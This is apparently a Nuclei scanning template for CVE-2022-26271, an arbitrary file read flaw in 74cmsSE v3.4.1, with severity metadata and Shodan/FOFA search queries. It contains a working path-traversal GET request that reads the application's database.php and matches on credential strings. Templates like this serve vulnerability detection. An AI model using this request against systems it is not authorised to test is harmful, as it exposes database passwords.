id: CVE-2022-26271

info:
  name: 74cmsSE v3.4.1 - Arbitrary File Read
  author: ritikchaddha
  severity: high
  description: |
    74cmsSE v3.4.1 was discovered to contain an arbitrary file read vulnerability via the $url parameter at \index\controller\Download.php.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive information.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://github.com/N1ce759/74cmsSE-Arbitrary-File-Reading/issues/1
    - https://nvd.nist.gov/vuln/detail/cve-2022-26271
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-26271
    cwe-id: CWE-552
    epss-score: 0.04633
    epss-percentile: 0.90795
    cpe: cpe:2.3:a:74cms:74cms:3.4.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query: app="74cms"
  tags: cve,cve2022,74cms,lfr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index/download/index?name=index.php&url=../../application/database.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?php"
          - "return array"
          - "password"
          - "database"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/octet-stream"
# digest: 4a0a0047304502207708e55145524006dc1ddf4ebccf08c44e7ee2e129a63213f8dec0b2f09e14da022100e2a6a0dd2c76bc43fb5ea76557617e904c98bffdc19b1eddbec308a29389f790:922c64590222798bb761d5b6d8e72950